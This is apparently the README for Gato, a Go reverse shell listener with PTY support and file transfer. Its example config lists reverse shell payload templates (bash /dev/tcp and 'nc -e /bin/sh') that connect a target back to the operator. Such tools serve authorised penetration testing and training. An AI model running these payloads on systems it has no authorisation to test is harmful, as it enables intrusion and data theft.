Gato - Reverse Shell Handler
Gato is a reverse shell handler with interactive PTY support and file transfer
capabilities.
Requirements
- Go 1.21 or later
- golang.org/x/term
Installation
git clone https://github.com/0xMoonrise/gato
cd gato
go build -o gato cmd/gato/main.go
from go
go install github.com/0xMoonrise/gato@latest
Quick Start
./gato
This starts a listener on 0.0.0.0:4242 using the default configuration.
Usage
gato [host] [port] [flags]
gato [command] [flags]
Flags
-c, --config string Path to config file (default "config.toml")
-H, --host string Host to listen on
-p, --port string Port to listen on
-i, --iface string Interface for file transfers
-s, --select int Select reverse shell helper by index
-h, --help Show help
Examples
gato Listen on 0.0.0.0:4242 (default)
gato 8080 Listen on 0.0.0.0:8080
gato 10.0.0.1 8080 Listen on 10.0.0.1:8080
gato -p 8080 -i tun0 Listen on 0.0.0.0:8080, use tun0 for transfers
gato -s 3 Use reverse shell helper index 3
gato revers List all reverse shell helpers
gato revers -c /path/cfg.toml List helpers from custom config
Configuration
Gato reads configuration from config.toml in the current directory,
~/.config/gato/config.toml, or /etc/gato/config.toml.
Example config.toml
[listener]
host = "0.0.0.0"
port = "4242"
[interface]
name = "eth0"
[shell]
method = "auto"
term = "xterm-256color"
command = "/bin/bash"
[revers]
selected = 0
revers = [
"bash -i >& /dev/tcp/%s/%s 0>&1",
"bash -c \"bash -i >& /dev/tcp/%s/%s 0>&1\"",
"nc -e /bin/sh %s %s"
]
[transfer]
timeout = 30
port_start = 0
Interactive Commands
During an active session, press Ctrl+Space to enter command mode.
>>> get <remote_file> Download a file from the remote host
>>> put <local_file> Upload a file to the remote host
>>> help Show available commands
>>> exit Close the connection
Press Ctrl+] to force quit the session at any time.
Press ESC to cancel command input.
How It Works
- Gato starts a TCP listener on the configured host and port.
- Upon connection, it spawns an interactive PTY shell on the remote host.
- The local terminal is set to raw mode for proper shell interaction.
- File transfers use secondary TCP connections over the configured interface.
File Transfers
File transfers create a temporary listener on the configured interface. The
remote host connects back to this listener to send or receive file data.
Transfers are binary and use no encoding overhead. Progress is displayed during
transfer.